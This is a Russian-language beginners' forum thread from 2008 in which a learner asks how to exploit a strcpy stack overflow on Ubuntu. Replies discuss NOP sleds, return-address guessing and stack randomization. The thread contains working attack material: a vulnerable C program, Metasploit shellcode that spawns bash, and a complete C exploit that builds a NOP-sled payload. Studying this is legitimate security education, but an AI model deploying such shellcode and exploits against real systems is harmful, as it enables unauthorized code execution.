Переполнение Стека в Ubuntu Linux.

Тема в разделе "WASM.BEGINNERS", создана пользователем lust, 26 авг 2008.

  1. lust

    lust New Member

    Публикаций:
    0
    Регистрация:
    14 окт 2007
    Сообщения:
    72
    Добрый день.
    У меня есть программа типа
    Код (Text):
    1. #include <string.h>
    2. int main(int argc, char *argv[])
    3. {
    4.     if (argv[1])
    5.     {
    6.     char buffer[500];
    7.     strcpy(buffer,argv[1]);
    8.     return 0;
    9.     }
    10. }
    в которой можно вызвать перполнение стека с помощью передаваемого параметра.

    У меня есть шеллкод:
    Код (Text):
    1. /* linux_ia32_exec -  CMD=bash Size=64 Encoder=PexFnstenvSub http://metasploit.com */
    2. unsigned char scode[] =
    3. "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf"
    4. "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde"
    5. "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1"
    6. "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73";
    Структура эксплойта выглядит так:
    ЦЕПОЧКА NOP + SHELLCODE + АДРЕС ВОЗВРАТА (повторяется много раз)

    Программа эксплуатирующая уязвимость выглядит так:
    Код (Text):
    1. #include <stdlib.h>
    2. char shellcode[]=
    3. "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf"
    4. "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde"
    5. "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1"
    6. "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73";
    7.  
    8. unsigned long sp(void)
    9.     {
    10.     __asm__("movl %esp,%eax");
    11.     }
    12.  
    13. int main(int argc, char *argv[])
    14.     {
    15.     int i, offset;
    16.     long esp, ret, *addr_ptr;
    17.     char *buffer, *ptr;
    18.    
    19.     offset = 0;
    20.     esp = sp();
    21.     ret = esp - offset;
    22.     printf("Stack pointer ESP: 0x%x\n",esp);
    23.     printf("Offset from ESP: 0x%x\n",offset);
    24.     printf("Desired Return Addr: 0x%x\n",ret);
    25.  
    26.     buffer = malloc(600);
    27.     ptr = buffer;
    28.     addr_ptr=(long *)ptr;
    29.     for(i=0; i<600;i+=4)
    30.         {
    31.         *(addr_ptr++)=ret;
    32.         }
    33.     for(i=0; i<200; i++)
    34.         {
    35.         buffer[i]='\x90';
    36.         }
    37.     ptr = buffer + 200;
    38.     for(i=0; i<strlen(shellcode);i++)
    39.         {
    40.         *(ptr++)=shellcode[i];
    41.         }
    42.     buffer[600-1]=0;
    43.     execl("./vuln","vuln",buffer,0);
    44.    
    45.     free(buffer);
    46.     return 0;
    47.     }
    Суть проблемы в том, что я не очень понимаю, как угадать адрес возврата, так как он всегда разный.
    Я не очень понимаю, на чём основано предположение, что адрес возврата, получаемый эксплойтом
    Код (Text):
    1. __asm__("movl %esp,%eax");
    будет таким же как в эксплуатируемой программе.
    Более того, запуская эксплуатируемую программу в отладчике:
    Код (Text):
    1. :/root/sploit# gdb vuln
    2. GNU gdb 6.6-debian
    3. Copyright (C) 2006 Free Software Foundation, Inc.
    4. GDB is free software, covered by the GNU General Public License, and you are
    5. welcome to change it and/or distribute copies of it under certain conditions.
    6. Type "show copying" to see the conditions.
    7. There is absolutely no warranty for GDB.  Type "show warranty" for details.
    8. This GDB was configured as "i486-linux-gnu"...
    9. Using host libthread_db library "/lib/libthread_db.so.1".
    10. (gdb) break main
    11. Breakpoint 1 at 0x80483e2
    12. (gdb) run
    13. Starting program: /root/sploit/vuln
    14.  
    15. Breakpoint 1, 0x080483e2 in main ()
    16. (gdb) x $esp
    17. 0xbfa83234:     0xbfa83250
    Я получаю постоянно разные значения регистра esp.
    То есть тогда получается, что адрес возврата(значение регистра $esp) "гуляет" по памяти и его предугадать невозможно?
    Какие есть соображение по этому поводу, и как всётаки написать рабочий эксплойт?

    Спасибо.
     
  2. Velheart

    Velheart New Member

    Публикаций:
    0
    Регистрация:
    2 июн 2008
    Сообщения:
    526
    Хм, вообще все работает в предположении, что в "ломаемой программе" esp не более чем на 200h отличается (грубо говоря) от esp запускаемой программы в момент запуска upd main, для этого и используются нопы, а как в линуксе это устроено все( с esp ) я не знаю..
     
  3. lust

    lust New Member

    Публикаций:
    0
    Регистрация:
    14 окт 2007
    Сообщения:
    72
    Я не очень понимаю.
    В большую сторону или в меньшую?
    А если отличается хотяб , то напправлется выполнение кода в правильную строну через цепочку nop ов?
     
  4. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    lust
    Выложи эксплойт в мнемониках, пожалуйста. Надо на содержимое посмотреть, так сложно сказать. Тем более, что тело эксплойта передается в другой процесс, где содержимое esp, вероятно, уже не будет играть никакой роли.

    P.S. А в книге комментариев нет?
     
  5. lust

    lust New Member

    Публикаций:
    0
    Регистрация:
    14 окт 2007
    Сообщения:
    72
    Что ты подразумеваешь под мнемониками? Я не в курсе термина.

    А книга которую читаю вот: http://rapidlinks.ru/link/?lnk=40024
    По-моему очень неплохая в своём роде, но никаких инструкций относительно своего случая я в ней не нашёл =(
     
  6. Mika0x65

    Mika0x65 New Member

    Публикаций:
    0
    Регистрация:
    30 июл 2005
    Сообщения:
    1.384
    Код (Text):
    1. char shellcode[]=
    2. "\x31\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcf"
    3. "\xd9\xa8\xf3\x83\xeb\xfc\xe2\xf4\xa5\xd2\xf0\x6a\x9d\xbf\xc0\xde"
    4. "\xac\x50\x4f\x9b\xe0\xaa\xc0\xf3\xa7\xf6\xca\x9a\xa1\x50\x4b\xa1"
    5. "\x27\xdc\xa8\xf3\xcf\xbb\xc9\x80\xa7\xd9\xff\xa0\x46\x38\x65\x73";
    Вот это в виде инструкций типа 'xor ecx, ecx'. У меня просто инструментов сейчас нет -- систему ставлю...
     
  7. Velheart

    Velheart New Member

    Публикаций:
    0
    Регистрация:
    2 июн 2008
    Сообщения:
    526
    lust
    Получается, что будет работать, если полученный ret больше или равен адресу буфера в стеке, но меньше, чем адрес буфера + 0х200, т.к. тогда управление передается на нопы по которым уже доходит до шеллкода
     
  8. lust

    lust New Member

    Публикаций:
    0
    Регистрация:
    14 окт 2007
    Сообщения:
    72
    Вот дизассемблированная функция main в уязвимой программе(vuln)
    Код (Text):
    1. (gdb) disassemble main
    2. Dump of assembler code for function main:
    3. 0x080483d4 <main+0>:    lea    0x4(%esp),%ecx
    4. 0x080483d8 <main+4>:    and    $0xfffffff0,%esp
    5. 0x080483db <main+7>:    pushl  0xfffffffc(%ecx)
    6. 0x080483de <main+10>:   push   %ebp
    7. 0x080483df <main+11>:   mov    %esp,%ebp
    8. 0x080483e1 <main+13>:   push   %ecx
    9. 0x080483e2 <main+14>:   sub    $0x214,%esp
    10. 0x080483e8 <main+20>:   mov    0x4(%ecx),%eax
    11. 0x080483eb <main+23>:   mov    %eax,0xfffffdf8(%ebp)
    12. 0x080483f1 <main+29>:   mov    %gs:0x14,%eax
    13. 0x080483f7 <main+35>:   mov    %eax,0xfffffff8(%ebp)
    14. 0x080483fa <main+38>:   xor    %eax,%eax
    15. 0x080483fc <main+40>:   mov    0xfffffdf8(%ebp),%eax
    16. 0x08048402 <main+46>:   add    $0x4,%eax
    17. 0x08048405 <main+49>:   mov    (%eax),%eax
    18. 0x08048407 <main+51>:   test   %eax,%eax
    19. 0x08048409 <main+53>:   je     0x8048435 <main+97>
    20. 0x0804840b <main+55>:   mov    0xfffffdf8(%ebp),%eax
    21. 0x08048411 <main+61>:   add    $0x4,%eax
    22. 0x08048414 <main+64>:   mov    (%eax),%eax
    23. 0x08048416 <main+66>:   mov    %eax,0x4(%esp)
    24. 0x0804841a <main+70>:   lea    0xfffffe04(%ebp),%eax
    25. 0x08048420 <main+76>:   mov    %eax,(%esp)
    26. 0x08048423 <main+79>:   call   0x8048308 <strcpy@plt>
    27. 0x08048428 <main+84>:   mov    $0x0,%eax
    28. 0x0804842d <main+89>:   mov    %eax,0xfffffdf4(%ebp)
    29. 0x08048433 <main+95>:   jmp    0x8048437 <main+99>
    30. 0x08048435 <main+97>:   jmp    0x804843d <main+105>
    31. 0x08048437 <main+99>:   mov    0xfffffdf4(%ebp),%eax
    32. 0x0804843d <main+105>:  mov    0xfffffff8(%ebp),%edx
    33. 0x08048440 <main+108>:  xor    %gs:0x14,%edx
    34. 0x08048447 <main+115>:  je     0x804844e <main+122>
    35. 0x08048449 <main+117>:  call   0x8048318 <__stack_chk_fail@plt>
    36. 0x0804844e <main+122>:  add    $0x214,%esp
    37. 0x08048454 <main+128>:  pop    %ecx
    38. 0x08048455 <main+129>:  pop    %ebp
    39. 0x08048456 <main+130>:  lea    0xfffffffc(%ecx),%esp
    40. 0x08048459 <main+133>:  ret
    Ещё набрёл в сети на такую нить:
    http://archive.cert.uni-stuttgart.de/vuln-dev/2004/03/msg00023.html
    Может быть это причиной?
     
  9. rei3er

    rei3er maxim

    Публикаций:
    0
    Регистрация:
    15 янв 2007
    Сообщения:
    917
    Адрес:
    minsk
    все зависит от 2-х вещей
    1. размер argv/envp
    2. используется ли рандомизация стека для процесса
     
  10. lust

    lust New Member

    Публикаций:
    0
    Регистрация:
    14 окт 2007
    Сообщения:
    72
    А как можно проверить используется ли рандомизация или нет?
    чтоб со 100% вероятностью.

    У меня есть програмка
    Код (Text):
    1. #include <string.h>
    2. unsigned long get_sp(void)
    3.     {
    4.     __asm__("movl %esp,%eax");
    5.     }
    6. void main()
    7.     {
    8.     printf("0x%x\n", get_sp());
    9.     }
    И она каждый раз выводит разные значения.
    Это можно считать докозательством рандомизации?